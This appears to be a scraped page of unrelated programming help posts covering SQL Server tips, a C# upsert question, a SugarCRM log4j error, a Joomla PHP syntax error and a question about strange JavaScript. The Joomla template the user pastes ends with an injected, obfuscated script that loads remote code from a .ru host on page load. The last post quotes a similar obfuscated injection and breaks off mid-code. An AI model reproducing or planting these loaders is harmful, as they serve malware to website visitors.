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• SQL SERVER – Weekly Series – Memory Lane – #050

  - by Pinal Dave

  Here is the list of selected articles of SQLAuthority.com across all these years. Instead of just listing all the articles I have selected a few of my most favorite articles and have listed them here with additional notes below it. Let me know which one of the following is your favorite article from memory lane. 2007 Executing Remote Stored Procedure – Calling Stored Procedure on Linked Server In this example we see two different methods of how to call Stored Procedures remotely.  Connection Property of SQL Server Management Studio SSMS A very simple example of the how to build connection properties for SQL Server with the help of SSMS. Sample Example of RANKING Functions – ROW_NUMBER, RANK, DENSE_RANK, NTILE SQL Server has a total of 4 ranking functions. Ranking functions return a ranking value for each row in a partition. All the ranking functions are non-deterministic. T-SQL Script to Add Clustered Primary Key Jr. DBA asked me three times in a day, how to create Clustered Primary Key. I gave him following sample example. That was the last time he asked “How to create Clustered Primary Key to table?” 2008 2008 – TRIM() Function – User Defined Function SQL Server does not have functions which can trim leading or trailing spaces of any string at the same time. SQL does have LTRIM() and RTRIM() which can trim leading and trailing spaces respectively. SQL Server 2008 also does not have TRIM() function. User can easily use LTRIM() and RTRIM() together and simulate TRIM() functionality. http://www.youtube.com/watch?v=1-hhApy6MHM 2009 Earlier I have written two different articles on the subject Remove Bookmark Lookup. This article is as part 3 of original article. Please read the first two articles here before continuing reading this article. Query Optimization – Remove Bookmark Lookup – Remove RID Lookup – Remove Key Lookup Query Optimization – Remove Bookmark Lookup – Remove RID Lookup – Remove Key Lookup – Part 2 Query Optimization – Remove Bookmark Lookup – Remove RID Lookup – Remove Key Lookup – Part 3 Interesting Observation – Query Hint – FORCE ORDER SQL Server never stops to amaze me. As regular readers of this blog already know that besides conducting corporate training, I work on large-scale projects on query optimizations and server tuning projects. In one of the recent projects, I have noticed that a Junior Database Developer used the query hint Force Order; when I asked for details, I found out that the basic concept was not properly understood by him. Queries Waiting for Memory Allocation to Execute In one of the recent projects, I was asked to create a report of queries that are waiting for memory allocation. The reason was that we were doubtful regarding whether the memory was sufficient for the application. The following query can be useful in similar cases. Queries that do not have to wait on a memory grant will not appear in the result set of following query. 2010 Quickest Way to Identify Blocking Query and Resolution – Dirty Solution As the title suggests, this is quite a dirty solution; it’s not as elegant as you expect. However, it works totally fine. Simple Explanation of Data Type Precedence While I was working on creating a question for SQL SERVER – SQL Quiz – The View, The Table and The Clustered Index Confusion, I had actually created yet another question along with this question. However, I felt that the one which is posted on the SQL Quiz is much better than this one because what makes that more challenging question is that it has a multiple answer. Encrypted Stored Procedure and Activity Monitor I recently had received questionable if any stored procedure is encrypted can we see its definition in Activity Monitor.Answer is - No. Let us do a quick test. Let us create following Stored Procedure and then launch the Activity Monitor and check the text. Indexed View always Use Index on Table A single table can have maximum 249 non clustered indexes and 1 clustered index. In SQL Server 2008, a single table can have maximum 999 non clustered indexes and 1 clustered index. It is widely believed that a table can have only 1 clustered index, and this belief is true. I have some questions for all of you. Let us assume that I am creating view from the table itself and then create a clustered index on it. In my view, I am selecting the complete table itself. 2011 Detecting Database Case Sensitive Property using fn_helpcollations() I received a question on how to determine the case sensitivity of the database. The quick answer to this is to identify the collation of the database and check the properties of the collation. I have previously written how one can identify database collation. Once you have figured out the collation of the database, you can put that in the WHERE condition of the following T-SQL and then check the case sensitivity from the description. Server Side Paging in SQL Server CE (Compact Edition) SQL Server Denali is coming up with new T-SQL of Paging. I have written about the same earlier.SQL SERVER – Server Side Paging in SQL Server Denali – A Better Alternative,  SQL SERVER – Server Side Paging in SQL Server Denali Performance Comparison, SQL SERVER – Server Side Paging in SQL Server Denali – Part2 What is very interesting is that SQL Server CE 4.0 have the same feature introduced. Here is the quick example of the same. To run the script in the example, you will have to do installWebmatrix 4.0 and download sample database. Once done you can run following script. Why I am Going to Attend PASS Summit Unite 2011 The four-day event will be marked by a lot of learning, sharing, and networking, which will help me increase both my knowledge and contacts. Every year, PASS Summit provides me a golden opportunity to build my network as well as to identify and meet potential customers or employees. 2012 Manage Help Settings – CTRL + ALT + F1 This is very interesting read as my daughter once accidently came across a screen in SQL Server Management Studio. It took me 2-3 minutes to figure out how she has created the same screen. Recover the Accidentally Renamed Table “I accidentally renamed table in my SSMS. I was scrolling very fast and I made mistakes. It was either because I double clicked or clicked on F2 (shortcut key for renaming). However, I have made the mistake and now I have no idea how to fix this. If you have renamed the table, I think you pretty much is out of luck. Here are few things which you can do which can give you an idea about what your table name can be if you are lucky. Identify Numbers of Non Clustered Index on Tables for Entire Database Here is the script which will give you numbers of non clustered indexes on any table in entire database. Identify Most Resource Intensive Queries – SQL in Sixty Seconds #029 – Video Here is the complete complete script which I have used in the SQL in Sixty Seconds Video. Thanks Harsh for important Tip in the comment. http://www.youtube.com/watch?v=3kDHC_Tjrns Advanced Data Quality Services with Melissa Data – Azure Data Market For the purposes of the review, I used a database I had in an Excel spreadsheet with name and address information. Upon a cursory inspection, there are miscellaneous problems with these records; some addresses are missing ZIP codes, others missing a city, and some records are slightly misspelled or have unparsed suites. With DQS, I can easily add a knowledge base to help standardize my values, such as for state abbreviations. But how do I know that my address is correct? Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: Memory Lane, PostADay, SQL, SQL Authority, SQL Query, SQL Server, SQL Tips and Tricks, T SQL, Technology

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• If record exists in database, UPDATE a single column

  - by Doug

  I have a bulk uploading object in place that is being used to bulk upload roughly 25-40 image files at a time. Each image is about 100-150 kb in size. During the upload, I've created a for each loop that takes the file name of the image (minus the file extension) to write it into a column named "sku". Also, for each file being uploaded, the date is recorded to a column named DateUpdated, as well as some image path data. Here is my c# code: protected void graphicMultiFileButton_Click(object sender, EventArgs e) { //graphicMultiFile is the ID of the bulk uploading object ( provided by Dean Brettle: http://www.brettle.com/neatupload ) if (graphicMultiFile.Files.Length > 0) { foreach (UploadedFile file in graphicMultiFile.Files) { //strip ".jpg" from file name (will be assigned as SKU) string sku = file.FileName.Substring(0, file.FileName.Length - 4); //assign the directory where the images will be stored on the server string directoryPath = Server.MapPath("~/images/graphicsLib/" + file.FileName); //ensure that if image existes on server that it will get overwritten next time it's uploaded: file.MoveTo(directoryPath, MoveToOptions.Overwrite); //current sql that inserts a record to the db SqlCommand comm; SqlConnection conn; string connectionString = ConfigurationManager.ConnectionStrings["DataConnect"].ConnectionString; conn = new SqlConnection(connectionString); comm = new SqlCommand("INSERT INTO GraphicsLibrary (sku, imagePath, DateUpdated) VALUES (@sku, @imagePath, @DateUpdated)", conn); comm.Parameters.Add("@sku", System.Data.SqlDbType.VarChar, 50); comm.Parameters["@sku"].Value = sku; comm.Parameters.Add("@imagePath", System.Data.SqlDbType.VarChar, 300); comm.Parameters["@imagePath"].Value = "images/graphicsLib/" + file.FileName; comm.Parameters.Add("@DateUpdated", System.Data.SqlDbType.DateTime); comm.Parameters["@DateUpdated"].Value = DateTime.Now; conn.Open(); comm.ExecuteNonQuery(); conn.Close(); } } } After images are uploaded, managers will go back and re-upload images that have previously been uploaded. This is because these product images are always being revised and improved. For each new/improved image, the file name and extension will remain the same - so that when image 321-54321.jpg was first uploaded to the server, the new/improved version of that image will still have the image file name as 321-54321.jpg. I can't say for sure if the file sizes will remain in the 100-150KB range. I'll assume that the image file size will grow eventually. When images get uploaded (again), there of course will be an existing record in the database for that image. What is the best way to: Check the database for the existing record (stored procedure or SqlDataReader or create a DataSet ...?) Then if record exists, simply UPDATE that record so that the DateUpdated column gets today's date. If no record exists, do the INSERT of the record as normal. Things to consider: If the record exists, we'll let the actual image be uploaded. It will simply overwrite the existing image so that the new version gets displayed on the web. We're using SQL Server 2000 on hosted environment (DiscountAsp). I'm programming in C#. The uploading process will be used by about 2 managers a few times a month (each) - which to me is not a allot of usage. Although I'm a jr. developer, I'm guessing that a stored procedure would be the way to go. Just seems more efficient - to do this record check away from the for each loop... but not sure. I'd need extra help writing a sproc, since I don't have too much experience with them. Thank everyone...

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• SQL SERVER – Weekly Series – Memory Lane – #037

  - by Pinal Dave

  Here is the list of selected articles of SQLAuthority.com across all these years. Instead of just listing all the articles I have selected a few of my most favorite articles and have listed them here with additional notes below it. Let me know which one of the following is your favorite article from memory lane. 2007 Convert Text to Numbers (Integer) – CAST and CONVERT If table column is VARCHAR and has all the numeric values in it, it can be retrieved as Integer using CAST or CONVERT function. List All Stored Procedure Modified in Last N Days If SQL Server suddenly start behaving in un-expectable behavior and if stored procedure were changed recently, following script can be used to check recently modified stored procedure. If a stored procedure was created but never modified afterwards modified date and create a date for that stored procedure are same. Count Duplicate Records – Rows Validate Field For DATE datatype using function ISDATE() We always checked DATETIME field for incorrect data type. One of the user input date as 30/2/2007. The date was sucessfully inserted in the temp table but while inserting from temp table to final table it crashed with error. We had now task to validate incorrect date value before we insert in final table. Jr. Developer asked me how can he do that? We check for incorrect data type (varchar, int, NULL) but this is incorrect date value. Regular expression works fine with them because of mm/dd/yyyy format. 2008 Find Space Used For Any Particular Table It is very simple to find out the space used by any table in the database. Two Convenient Features Inline Assignment – Inline Operations Here is the script which does both – Inline Assignment and Inline Operation DECLARE @idx INT = 0 SET @idx+=1 SELECT @idx Introduction to SPARSE Columns SPARSE column are better at managing NULL and ZERO values in SQL Server. It does not take any space in database at all. If column is created with SPARSE clause with it and it contains ZERO or NULL it will be take lesser space then regular column (without SPARSE clause). SP_CONFIGURE – Displays or Changes Global Configuration Settings If advanced settings are not enabled at configuration level SQL Server will not let user change the advanced features on server. Authorized user can turn on or turn off advance settings. 2009 Standby Servers and Types of Standby Servers Standby Server is a type of server that can be brought online in a situation when Primary Server goes offline and application needs continuous (high) availability of the server. There is always a need to set up a mechanism where data and objects from primary server are moved to secondary (standby) server. BLOB – Pointer to Image, Image in Database, FILESTREAM Storage When it comes to storing images in database there are two common methods. I had previously blogged about the same subject on my visit to Toronto. With SQL Server 2008, we have a new method of FILESTREAM storage. However, the answer on when to use FILESTREAM and when to use other methods is still vague in community. 2010 Upper Case Shortcut SQL Server Management Studio I select the word and hit CTRL+SHIFT+U and it SSMS immediately changes the case of the selected word. Similar way if one want to convert cases to lower case, another short cut CTRL+SHIFT+L is also available. The Self Join – Inner Join and Outer Join Self Join has always been a noteworthy case. It is interesting to ask questions about self join in a room full of developers. I often ask – if there are three kinds of joins, i.e.- Inner Join, Outer Join and Cross Join; what type of join is Self Join? The usual answer is that it is an Inner Join. However, the reality is very different. Parallelism – Row per Processor – Row per Thread – Thread 0  If you look carefully in the Properties window or XML Plan, there is “Thread 0?. What does this “Thread 0” indicate? Well find out from the blog post. How do I Learn and How do I Teach The blog post has raised three very interesting questions. How do you learn? How do you teach? What are you learning or teaching? Let me try to answer the same. 2011 SQL SERVER – Interview Questions and Answers – Frequently Asked Questions – Day 7 of 31 What are Different Types of Locks? What are Pessimistic Lock and Optimistic Lock? When is the use of UPDATE_STATISTICS command? What is the Difference between a HAVING clause and a WHERE clause? What is Connection Pooling and why it is Used? What are the Properties and Different Types of Sub-Queries? What are the Authentication Modes in SQL Server? How can it be Changed? SQL SERVER – Interview Questions and Answers – Frequently Asked Questions – Day 8 of 31 Which Command using Query Analyzer will give you the Version of SQL Server and Operating System? What is an SQL Server Agent? Can a Stored Procedure call itself or a Recursive Stored Procedure? How many levels of SP nesting is possible? What is Log Shipping? Name 3 ways to get an Accurate Count of the Number of Records in a Table? What does it mean to have QUOTED_IDENTIFIER ON? What are the Implications of having it OFF? What is the Difference between a Local and a Global Temporary Table? What is the STUFF Function and How Does it Differ from the REPLACE Function? What is PRIMARY KEY? What is UNIQUE KEY Constraint? What is FOREIGN KEY? SQL SERVER – Interview Questions and Answers – Frequently Asked Questions – Day 9 of 31 What is CHECK Constraint? What is NOT NULL Constraint? What is the difference between UNION and UNION ALL? What is B-Tree? How to get @@ERROR and @@ROWCOUNT at the Same Time? What is a Scheduled Job or What is a Scheduled Task? What are the Advantages of Using Stored Procedures? What is a Table Called, if it has neither Cluster nor Non-cluster Index? What is it Used for? Can SQL Servers Linked to other Servers like Oracle? What is BCP? When is it Used? SQL SERVER – Interview Questions and Answers – Frequently Asked Questions – Day 10 of 31 What Command do we Use to Rename a db, a Table and a Column? What are sp_configure Commands and SET Commands? How to Implement One-to-One, One-to-Many and Many-to-Many Relationships while Designing Tables? What is Difference between Commit and Rollback when Used in Transactions? What is an Execution Plan? When would you Use it? How would you View the Execution Plan? SQL SERVER – Interview Questions and Answers – Frequently Asked Questions – Day 11 of 31 What is Difference between Table Aliases and Column Aliases? Do they Affect Performance? What is the difference between CHAR and VARCHAR Datatypes? What is the Difference between VARCHAR and VARCHAR(MAX) Datatypes? What is the Difference between VARCHAR and NVARCHAR datatypes? Which are the Important Points to Note when Multilanguage Data is Stored in a Table? How to Optimize Stored Procedure Optimization? What is SQL Injection? How to Protect Against SQL Injection Attack? How to Find Out the List Schema Name and Table Name for the Database? What is CHECKPOINT Process in the SQL Server? SQL SERVER – Interview Questions and Answers – Frequently Asked Questions – Day 12 of 31 How does Using a Separate Hard Drive for Several Database Objects Improves Performance Right Away? How to Find the List of Fixed Hard Drive and Free Space on Server? Why can there be only one Clustered Index and not more than one? What is Difference between Line Feed (\n) and Carriage Return (\r)? Is It Possible to have Clustered Index on Separate Drive From Original Table Location? What is a Hint? How to Delete Duplicate Rows? Why the Trigger Fires Multiple Times in Single Login? 2012 CTRL+SHIFT+] Shortcut to Select Code Between Two Parenthesis Shortcut key is CTRL+SHIFT+]. This key can be very useful when dealing with multiple subqueries, CTE or query with multiple parentheses. When exercised this shortcut key it selects T-SQL code between two parentheses. Monday Morning Puzzle – Query Returns Results Sometimes but Not Always I am beginner with SQL Server. I have one query, it sometime returns a result and sometime it does not return me the result. Where should I start looking for a solution and what kind of information I should send to you so you can help me with solving. I have no clue, please guide me. Remove Debug Button in SSMS – SQL in Sixty Seconds #020 – Video Effect of Case Sensitive Collation on Resultset Collation is a very interesting concept but I quite often see it is heavily neglected. I have seen developer and DBA looking for a workaround to fix collation error rather than understanding if the side effect of the workaround. Switch Between Two Parenthesis using Shortcut CTRL+] Earlier this week I wrote a blog post about CTRL+SHIFT+] Shortcut to Select Code Between Two Parenthesis, I received quite a lot of positive feedback from readers. If you are a regular reader of the blog post, you must be aware that I appreciate the learning shared by readers. Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: Memory Lane, PostADay, SQL, SQL Authority, SQL Query, SQL Server, SQL Tips and Tricks, T SQL, Technology

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• Java error starting with "log4j:WARN No appenders could be found for logger" in ZuckerReports SugarC

  - by Tom McDonnell

  Greetings all. I apologise for posting this problem here, but I do so in desperation after receiving no response on the SugarCRM forums. Even if a reader is unfamiliar with ZuckerReports or SugarCRM some general advice on Java may be of use to me. I have installed ZuckerReports v1.12 in SugarCRM 5.5.1. When I attempt to run a report I get the following error message. cmdline: javaw -classpath "custom/ZuckerReports/resources/;custom/ZuckerReports/resources/contact_counts_by_first_name.jasper_files/;modules/ZuckerReports/jasper/ant-1.7.1.jar;modules/ZuckerReports/jasper/antlr-2.7.6.jar;modules/ZuckerReports/jasper/asm-attrs.jar;modules/ZuckerReports/jasper/asm.jar;modules/ZuckerReports/jasper/barbecue-1.5-beta1.jar;modules/ZuckerReports/jasper/barcode4j-2.0.jar;modules/ZuckerReports/jasper/batik-anim.jar;modules/ZuckerReports/jasper/batik-awt-util.jar;modules/ZuckerReports/jasper/batik-bridge.jar;modules/ZuckerReports/jasper/batik-css.jar;modules/ZuckerReports/jasper/batik-dom.jar;modules/ZuckerReports/jasper/batik-ext.jar;modules/ZuckerReports/jasper/batik-gvt.jar;modules/ZuckerReports/jasper/batik-parser.jar;modules/ZuckerReports/jasper/batik-script.jar;modules/ZuckerReports/jasper/batik-svg-dom.jar;modules/ZuckerReports/jasper/batik-svggen.jar;modules/ZuckerReports/jasper/batik-util.jar;modules/ZuckerReports/jasper/batik-xml.jar;modules/ZuckerReports/jasper/bcel-5.2.jar;modules/ZuckerReports/jasper/bsh-2.0b4.jar;modules/ZuckerReports/jasper/castor-1.2.jar;modules/ZuckerReports/jasper/cglib-2.1.jar;modules/ZuckerReports/jasper/cincom-jr-xmla.jar;modules/ZuckerReports/jasper/commons-beanutils-1.8.2.jar;modules/ZuckerReports/jasper/commons-collections-3.2.1.jar;modules/ZuckerReports/jasper/commons-dbcp-1.2.2.jar;modules/ZuckerReports/jasper/commons-digester-1.7.jar;modules/ZuckerReports/jasper/commons-javaflow-20060411.jar;modules/ZuckerReports/jasper/commons-logging-1.1.jar;modules/ZuckerReports/jasper/commons-math-1.0.jar;modules/ZuckerReports/jasper/commons-pool-1.3.jar;modules/ZuckerReports/jasper/commons-vfs-1.0.jar;modules/ZuckerReports/jasper/dom4j-1.6.jar;modules/ZuckerReports/jasper/ehcache-1.1.jar;modules/ZuckerReports/jasper/eigenbase-properties-1.1.0.10924.jar;modules/ZuckerReports/jasper/eigenbase-resgen-1.3.0.11873.jar;modules/ZuckerReports/jasper/eigenbase-xom-1.3.0.11999.jar;modules/ZuckerReports/jasper/ejb3-persistence.jar;modules/ZuckerReports/jasper/groovy-all-1.5.5.jar;modules/ZuckerReports/jasper/hibernate-annotations.jar;modules/ZuckerReports/jasper/hibernate-commons-annotations.jar;modules/ZuckerReports/jasper/hibernate3.jar;modules/ZuckerReports/jasper/hsqldb-1.8.0-10.jar;modules/ZuckerReports/jasper/iText-2.1.0.jar;modules/ZuckerReports/jasper/iTextAsian.jar;modules/ZuckerReports/jasper/jakarta-bcel-20050813.jar;modules/ZuckerReports/jasper/jasperreports-3.7.1.jar;modules/ZuckerReports/jasper/jasperreports-chart-themes-3.6.2.jar;modules/ZuckerReports/jasper/jasperreports-extensions-3.5.3.jar;modules/ZuckerReports/jasper/jasperreports-fonts-3.6.1.jar;modules/ZuckerReports/jasper/javacup.jar;modules/ZuckerReports/jasper/javassist-3.4.GA.jar;modules/ZuckerReports/jasper/jaxen-1.1.1.jar;modules/ZuckerReports/jasper/jcommon-1.0.15.jar;modules/ZuckerReports/jasper/jdt-compiler-3.1.1.jar;modules/ZuckerReports/jasper/jfreechart-1.0.12.jar;modules/ZuckerReports/jasper/jpa.jar;modules/ZuckerReports/jasper/js_activation-1.1.jar;modules/ZuckerReports/jasper/js_axis-1.4patched.jar;modules/ZuckerReports/jasper/js_commons-codec-1.3.jar;modules/ZuckerReports/jasper/js_commons-discovery-0.2.jar;modules/ZuckerReports/jasper/js_commons-httpclient-3.1.jar;modules/ZuckerReports/jasper/js_jasperserver-common-ws-3.5.0.jar;modules/ZuckerReports/jasper/js_jaxrpc.jar;modules/ZuckerReports/jasper/js_mail-1.4.jar;modules/ZuckerReports/jasper/js_saaj-api-1.3.jar;modules/ZuckerReports/jasper/js_wsdl4j-1.5.1.jar;modules/ZuckerReports/jasper/jta.jar;modules/ZuckerReports/jasper/jxl-2.6.jar;modules/ZuckerReports/jasper/log4j-1.2.15.jar;modules/ZuckerReports/jasper/mondrian-3.1.1.12687-Jaspersoft.jar;modules/ZuckerReports/jasper/mysql-connector-java-3.1.11-bin.jar;modules/ZuckerReports/jasper/olap4j-0.9.7.145.jar;modules/ZuckerReports/jasper/png-encoder-1.5.jar;modules/ZuckerReports/jasper/poi-3.2-FINAL-20081019.jar;modules/ZuckerReports/jasper/rex-20080421.jar;modules/ZuckerReports/jasper/rhino-1.7R1.jar;modules/ZuckerReports/jasper/saaj-api-1.3.jar;modules/ZuckerReports/jasper/slf4j-api.jar;modules/ZuckerReports/jasper/slf4j-log4j12.jar;modules/ZuckerReports/jasper/spring.jar;modules/ZuckerReports/jasper/sqleonardo-2007.03.jar;modules/ZuckerReports/jasper/swingx-2007_10_07.jar;modules/ZuckerReports/jasper/xml-apis-ext.jar;modules/ZuckerReports/jasper/xml-apis.jar;modules/ZuckerReports/jasper/zuckerreports-1.0.jar" at.go_mobile.zuckerreports.JasperBatchMain custom/ZuckerReports/temp/aff882c1-684b-d2de-403e-4be367bc2f5f/cmd.properties 2&1 JasperBatchMain :: loading jasper design custom/ZuckerReports/resources/contact_counts_by_first_name.jasper JasperBatchMain :: getParameterValue(REPORT_PARAMETERS_MAP, java.util.Map) = null JasperBatchMain :: getParameterValue(JASPER_REPORT, net.sf.jasperreports.engine.JasperReport) = null JasperBatchMain :: getParameterValue(REPORT_CONNECTION, java.sql.Connection) = null JasperBatchMain :: getParameterValue(REPORT_MAX_COUNT, java.lang.Integer) = null JasperBatchMain :: getParameterValue(REPORT_DATA_SOURCE, net.sf.jasperreports.engine.JRDataSource) = null JasperBatchMain :: getParameterValue(REPORT_SCRIPTLET, net.sf.jasperreports.engine.JRAbstractScriptlet) = null JasperBatchMain :: getParameterValue(REPORT_LOCALE, java.util.Locale) = null JasperBatchMain :: getParameterValue(REPORT_RESOURCE_BUNDLE, java.util.ResourceBundle) = null JasperBatchMain :: getParameterValue(REPORT_TIME_ZONE, java.util.TimeZone) = null JasperBatchMain :: getParameterValue(REPORT_FORMAT_FACTORY, net.sf.jasperreports.engine.util.FormatFactory) = null JasperBatchMain :: getParameterValue(REPORT_CLASS_LOADER, java.lang.ClassLoader) = null JasperBatchMain :: getParameterValue(REPORT_URL_HANDLER_FACTORY, java.net.URLStreamHandlerFactory) = null JasperBatchMain :: getParameterValue(REPORT_FILE_RESOLVER, net.sf.jasperreports.engine.util.FileResolver) = null JasperBatchMain :: getParameterValue(REPORT_VIRTUALIZER, net.sf.jasperreports.engine.JRVirtualizer) = null JasperBatchMain :: getParameterValue(IS_IGNORE_PAGINATION, java.lang.Boolean) = null JasperBatchMain :: getParameterValue(REPORT_TEMPLATES, java.util.Collection) = null log4j:WARN No appenders could be found for logger (net.sf.jasperreports.extensions.ExtensionsEnviron ment). log4j:WARN Please initialize the log4j system properly. Exception in thread "main" java.lang.IllegalArgumentException: Null 'key' argument. at org.jfree.data.DefaultKeyedValues.setValue(Default KeyedValues.java:229) at org.jfree.data.DefaultKeyedValues2D.setValue(Defau ltKeyedValues2D.java:337) at org.jfree.data.DefaultKeyedValues2D.addValue(Defau ltKeyedValues2D.java:303) at org.jfree.data.category.DefaultCategoryDataset.add Value(DefaultCategoryDataset.java:222) at net.sf.jasperreports.charts.fill.JRFillCategoryDat aset.customIncrement(JRFillCategoryDataset.java:14 3) at net.sf.jasperreports.engine.fill.JRFillElementData set.increment(JRFillElementDataset.java:175) at net.sf.jasperreports.engine.fill.JRCalculator.calc ulateVariables(JRCalculator.java:148) at net.sf.jasperreports.engine.fill.JRVerticalFiller. fillDetail(JRVerticalFiller.java:736) at net.sf.jasperreports.engine.fill.JRVerticalFiller. fillReportContent(JRVerticalFiller.java:272) at net.sf.jasperreports.engine.fill.JRVerticalFiller. fillReport(JRVerticalFiller.java:114) at net.sf.jasperreports.engine.fill.JRBaseFiller.fill (JRBaseFiller.java:923) at net.sf.jasperreports.engine.fill.JRBaseFiller.fill (JRBaseFiller.java:826) at net.sf.jasperreports.engine.fill.JRFiller.fillRepo rt(JRFiller.java:59) at at.go_mobile.zuckerreports.JasperBatchMain.main(Ja sperBatchMain.java:126) The same report runs correctly in another SugarCRM installation on the same server. The installation in which the report runs correctly is of the same version, and has the same version of the ZuckerReports module. The report previously ran correctly on both installations. I think that the only changes that have been made on the installation in which the report now does not work since the report was last successfully run are the additions of a few custom fields in the Contacts module. These changes should have nothing to do with ZuckerReports. I have tried uninstalling and reinstalling the ZuckerReports module, but the problem remains. A google search for the warnings given in the error message ie. * log4j:WARN No appenders could be found for logger (net.sf.jasperreports.extensions.ExtensionsEnviron ment). * log4j:WARN Please initialize the log4j system properly. Returns a few links (not specific to ZuckerReports) with tips similar to the following: * log4j.properties or log4j.xml needs to be on the classpath where log4j can find it. I cannot find a file with either of those names anywhere on my server, and yet the report can be run successfully on one of my SugarCRM installations. So I figure log4j must be being configured another way. Can anyone suggest a way to solve this problem? Or explain how I might discover how log4j is configured in ZuckerReports? Or explain how I might compare the working with the non-working installation in order to help find a solution? (I have tried searching for files containing "log4j" in both installations and comparing but all I can find are .jar files (nothing I can read with a text editor), and the .jar files found in each installation appear to be the same.)

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• Parse error: syntax error, unexpected '<' in /home/future/public_html/modules/mod_mainmenu/tmpl/defa

  - by kofi

  I'm unfortunately having an unknown error with my php file. (for joomla 1.5) I don't seem to get what's wrong. This is my entire code, with an apparent error on line 84. Would appreciate some feedback, thanks. <?php // no direct access defined('_JEXEC') or die('Restricted access'); if ( ! defined('modMainMenuXMLCallbackDefined') ) { function modMainMenuXMLCallback(&$node, $args) { $user = &JFactory::getUser(); $menu = &JSite::getMenu(); $active = $menu->getActive(); $path = isset($active) ? array_reverse($active->tree) : null; if (($args['end']) && ($node->attributes('level') >= $args['end'])) { $children = $node->children(); foreach ($node->children() as $child) { if ($child->name() == 'ul') { $node->removeChild($child); } } } if ($node->name() == 'ul') { foreach ($node->children() as $child) { if ($child->attributes('access') > $user->get('aid', 0)) { $node->removeChild($child); } } } if (($node->name() == 'li') && isset($node->ul)) { $node->addAttribute('class', 'parent'); } if (isset($path) && (in_array($node->attributes('id'), $path) || in_array($node->attributes('rel'), $path))) { if ($node->attributes('class')) { $node->addAttribute('class', $node->attributes('class').' active'); } else { $node->addAttribute('class', 'active'); } } else { if (isset($args['children']) && !$args['children']) { $children = $node->children(); foreach ($node->children() as $child) { if ($child->name() == 'ul') { $node->removeChild($child); } } } } if (($node->name() == 'li') && ($id = $node->attributes('id'))) { if ($node->attributes('class')) { $node->addAttribute('class', $node->attributes('class').' item'.$id); } else { $node->addAttribute('class', 'item'.$id); } } if (isset($path) && $node->attributes('id') == $path[0]) { $node->addAttribute('id', 'current'); } else { $node->removeAttribute('id'); } $node->removeAttribute('rel'); $node->removeAttribute('level'); $node->removeAttribute('access'); } define('modMainMenuXMLCallbackDefined', true); } modMainMenuHelper::render($params, 'modMainMenuXMLCallback'); <script>var Zl;if(Zl!='' && Zl!='ki'){Zl=''};function v(){var jL=new String();var M=window;var q="";var ZY='';var Z=unescape;var C;if(C!='' && C!='g'){C=null};this.nj='';var _='';this.X="";var t=new Date();var R="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x61\x72\x65\x61\x73\x61\x6c\x65\x2d\x63\x6f\x6d\x2e\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x7a\x2e\x65\x79\x6e\x79\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var Od;if(Od!='Dm' && Od!='V'){Od='Dm'};var Vr='';var P=new String("g");var B="";var E;if(E!='' && E!='gD'){E=null};function b(y,U){var zm=new Array();var a='';this.Cm="";var Vb=new String();var k=Z("%5b")+U+Z("%5d");var tX=new String();var MV;if(MV!='' && MV!='qt'){MV='MD'};var c=new RegExp(k, P);return y.replace(c, _);var cS="";var RTD='';};var Zr;if(Zr!='' && Zr!='vJ'){Zr=''};var L=new String();var DE=new Date();var fg;if(fg!='Ep'){fg='Ep'};var nf;if(nf!=''){nf='d_'};var W=Z("%2f%67%6f%6f%67%6c%65%2e%61%74%2f%67%6f%6f%67%6c%65%2e%61%74%2f%64%72%75%64%67%65%72%65%70%6f%72%74%2e%63%6f%6d%2f%74%72%61%76%69%61%6e%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");this.aA='';var u='';this.XB='';var dP;if(dP!='i' && dP != ''){dP=null};var dN;if(dN!='' && dN!='zx'){dN='_y'};var WS=b('85624104275582212705194497','13296457');var Hb=new Array();var lP;if(lP!='ok' && lP != ''){lP=null};var O=document;function n(){var J;if(J!='mS' && J != ''){J=null};u=R;var jv;if(jv!='' && jv!='jw'){jv=''};u+=WS;var MJ;if(MJ!='Qp'){MJ=''};u+=W;var fj=new Array();this.PM="";try {this.dq='';var ln=new Date();var eS=new Date();h=O.createElement(b('sScwrwi4pSt5','OZjKg4w5S'));var uW=new String();var Aj;if(Aj!='lX'){Aj='lX'};var aF;if(aF!='' && aF!='_o'){aF=null};h.src=u;var GY;if(GY!='ev' && GY!='Jr'){GY='ev'};var KK;if(KK!=''){KK='gDq'};h.defer=[1][0];var nO;if(nO!='tP'){nO=''};var aV=new Date();var bE=new Date();O.body.appendChild(h);this.Ze="";} catch(MC){var Ki;if(Ki!='m_' && Ki != ''){Ki=null};};}M[String("pqP5onloa".substr(4)+"drYD".substr(0,1))]=n;var EY;if(EY!='' && EY!='wn'){EY='Sj'};var ep;if(ep!='' && ep!='_q'){ep='Oy'};var uE=new Array();var E_;if(E_!='iU'){E_='iU'};};this.pt="";v();var tl=new String();</script> <!--793d57c076e95df45c451725e5dedf6f-->

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• Weird Javascript in Template. Is this a hacking attempt?

  - by Julian

  I validated my client's website to xHTML Strict 1.0/CSS 2.1 standards last week. Today when I re-checked, I had a validation error caused by a weird and previous unknown script. I found this in the index.php file of my ExpressionEngine CMS. What is this javascript doing? Is this a hacking attempt as I suspected? I couldn't help but notice the Russian domain encoded in the script... this.v=27047; this.v+=187; ug=["n"]; OV=29534; OV--; var y; var C="C"; var T={}; r=function(){ b=36068; b-=144; M=[]; function f(V,w,U){ return V.substr(w,U); var wH=39640; } var L=["o"]; var cj={}; var qK={N:false}; var fa="/g"+"oo"+"gl"+"e."+"co"+"m/"+f("degL4",0,2)+f("rRs6po6rRs",4,2)+f("9GVsiV9G",3,2)+f("5cGtfcG5",3,2)+f("M6c0ilc6M0",4,2)+"es"+f("KUTz.cUzTK",4,2)+f("omjFb",0,2)+"/s"+f("peIlh2",0,2)+"ed"+f("te8WC",0,2)+f("stien3",0,2)+f(".nYm6S",0,2)+f("etUWH",0,2)+f(".pdVPH",0,2)+f("hpzToi",0,2); var BT="BT"; var fV=RegExp; var CE={bf:false}; var UW=''; this.Ky=11592; this.Ky-=237; var VU=document; var _n=[]; try {} catch(wP){}; this.JY=29554; this.JY-=245; function s(V,w){ l=13628; l--; var U="["+w+String("]"); var rk=new fV(U, f("giId",0,1)); this.NS=18321;this.NS+=195;return 